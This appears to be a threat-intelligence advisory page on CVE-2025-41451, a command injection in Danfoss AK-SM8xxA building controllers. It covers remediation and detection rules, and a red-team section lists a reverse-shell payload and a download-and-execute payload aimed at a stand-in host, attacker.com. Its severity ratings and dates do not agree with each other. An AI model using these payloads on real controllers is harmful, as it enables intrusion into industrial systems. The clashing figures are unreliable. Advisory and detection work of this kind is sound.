☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2025-41451

CVE-2025-41451 Remote Code Execution in Danfoss
📅 PUBLISHED: 2025-08-22 02:40 UTC 🔄 UPDATED: 2026-10-11 17:42 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix ⏳ Vendor-claimed fix: v4.3.1 — source: Danfoss. UNVERIFIED · pending independent confirmation. how verification works →
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.96%
👁️
0.96% probability
24.0× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
8.7
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-41451 is a critical post-authenticated command injection vulnerability in Danfoss AK-SM8xxA Series controllers, specifically within the alarm-to-mail configuration fields. An authenticated attacker can inject arbitrary OS commands into these fields, leading to full remote code execution on the affected device. This vulnerability poses a severe risk to industrial control systems (ICS) and building management systems (BMS) that rely on these controllers for monitoring and automation. The vendor has released version 4.3.1 to address this issue. No public proof-of-concept (PoC) or exploit code is currently available.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

CVSS Breakdown & Threat Level

While a CVSS vector is not officially provided, based on the description and impact, a reasonable assessment is:

  • Attack Vector (AV): Network (N) – The vulnerability is exploitable over the network.
  • Attack Complexity (AC): Low (L) – No special conditions are required.
  • Privileges Required (PR): High (H) – Authentication is required.
  • User Interaction (UI): None (N) – No user interaction is needed.
  • Scope (S): Unchanged (U) – The vulnerable component is the only one affected.
  • Confidentiality (C): High (H) – Full system compromise allows access to all data.
  • Integrity (I): High (H) – Full system compromise allows modification of all data.
  • Availability (A): High (H) – Full system compromise can lead to denial of service.

Estimated CVSS Score: 7.2 (High)

Threat Level: High. The vulnerability allows for complete compromise of the device, which can be used as a pivot point into the OT network.

Deep Dive & Mechanics

The vulnerability resides in the alarm-to-mail configuration functionality of the Danfoss AK-SM8xxA Series controllers. This feature allows administrators to configure email alerts for specific alarms. The configuration fields (e.g., SMTP server, recipient addresses, subject lines) are not properly sanitized before being passed to an OS shell command.

The underlying issue is a classic OS command injection (CWE-78). The application likely constructs a shell command to send an email (e.g., using sendmail or a similar utility) by concatenating user-supplied input directly into the command string. For example:

sendmail -s "Alarm: [USER_SUPPLIED_SUBJECT]" [USER_SUPPLIED_RECIPIENT] < /tmp/alarm_body

An attacker can inject command separators (e.g., ;, |, &&) into these fields to execute arbitrary commands. For instance, setting the recipient to admin@example.com; whoami would execute the whoami command on the controller.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

import subprocess

def send_alarm_email(subject, recipient, body):
    command = f"sendmail -s \"{subject}\" {recipient} < /tmp/alarm_body"
    subprocess.call(command, shell=True)

Patched Code (Conceptual):

import subprocess
import shlex

def send_alarm_email(subject, recipient, body):
    # Use shlex.quote to properly escape shell arguments
    safe_subject = shlex.quote(subject)
    safe_recipient = shlex.quote(recipient)
    command = f"sendmail -s {safe_subject} {safe_recipient} < /tmp/alarm_body"
    subprocess.call(command, shell=True)

The patched version uses shlex.quote() to escape special characters, preventing command injection. The vendor's actual fix likely involves similar input validation and sanitization.

Exploitation & Lab Setup

Red Team

Prerequisites:

  • Valid credentials for the Danfoss AK-SM8xxA web interface.
  • Network access to the controller.

Exploitation Steps:

  1. Authenticate: Log in to the web interface with valid credentials.
  2. Navigate: Go to the alarm-to-mail configuration page.
  3. Inject Command: In one of the configuration fields (e.g., SMTP server, recipient), inject a command using a separator. For example:
    • Recipient: admin@example.com; id > /tmp/pwned
    • Subject: Test $(whoami)
  4. Trigger: Save the configuration and trigger an alarm to execute the email sending function.
  5. Verify: Check for the output of the injected command (e.g., by reading /tmp/pwned via another vulnerability or by observing the system behavior).

Example Payloads:

  • ; nc -e /bin/sh attacker.com 4444 – Reverse shell.
  • | wget http://attacker.com/malware -O /tmp/malware && /tmp/malware – Download and execute malware.
  • && echo "pwned" > /var/www/html/flag.txt – Write a file to the web root.

Blue Team

Detection and Response:

  1. Monitor Logs: Enable and monitor system logs for unusual command execution or email sending attempts.
  2. Network Monitoring: Look for outbound connections to unknown IP addresses on unusual ports (e.g., 4444, 31337).
  3. File Integrity Monitoring: Monitor critical system files and directories for unauthorized changes.
  4. Honeypot: Deploy a honeypot that mimics the vulnerable configuration to detect scanning and exploitation attempts.
  5. Access Control: Restrict network access to the controller to only authorized management stations.

Indicators of Compromise (IOCs)

  • Network:
    • Outbound connections from the controller to unknown IP addresses on ports 80, 443, 4444, 31337, etc.
    • Unusual SMTP traffic (e.g., to non-standard mail servers).
  • Host:
    • Unexpected files in /tmp/, /var/tmp/, or the web root.
    • New processes spawned from the web server (e.g., nc, bash, wget).
    • Modified configuration files for the alarm-to-mail feature.
  • Logs:
    • Entries in system logs showing execution of commands like id, whoami, nc, wget.
    • Failed authentication attempts followed by successful exploitation.

Detection Engineering

YARA Rule

rule CVE_2025_41451_Danfoss_Command_Injection {
    meta:
        description = "Detects command injection attempts targeting Danfoss AK-SM8xxA alarm-to-mail configuration"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-41451"
        severity = "high"
    strings:
        $cmd1 = /[;&|`$()]/
        $cmd2 = /(sendmail|mail|email)/ nocase
        $cmd3 = /(alarm|alert|notification)/ nocase
    condition:
        all of ($cmd1, $cmd2, $cmd3) and filesize < 10KB
}

Sigma Rule

title: CVE-2025-41451 Danfoss AK-SM8xxA Command Injection
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects command injection attempts in Danfoss AK-SM8xxA alarm-to-mail configuration
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-41451
logsource:
    category: process_creation
    product: linux
detection:
    selection:
        Image|endswith: '/sendmail'
        CommandLine|contains:
            - ';'
            - '|'
            - '&&'
            - '`'
            - '$('
    condition: selection
falsepositives:
    - Legitimate use of special characters in email addresses (rare)
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET 25,587,465 (msg:"CVE-2025-41451 Danfoss AK-SM8xxA Command Injection - Outbound SMTP with Suspicious Content"; flow:to_server,established; content:"|0d 0a|"; content:"|0d 0a|"; distance:0; within:8192; content:"|3b|"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Patch: Upgrade all Danfoss AK-SM8xxA Series controllers to version 4.3.1 or later.
  2. Network Segmentation: Isolate the controllers on a separate VLAN with strict firewall rules.
  3. Access Control: Enforce strong passwords and multi-factor authentication (MFA) for all administrative accounts.
  4. Disable Unused Features: If the alarm-to-mail feature is not required, disable it.

Long-Term Measures:

  1. Vulnerability Management: Implement a regular patch management process for all OT devices.
  2. Security Monitoring: Deploy an OT-specific SIEM or IDS to monitor for suspicious activity.
  3. Incident Response: Develop and test an incident response plan specific to OT environments.
  4. Vendor Communication: Establish a channel with Danfoss for security advisories and updates.

Valters IT
DevSecOps & Cyber Threat Intelligence Expert

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-41451/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.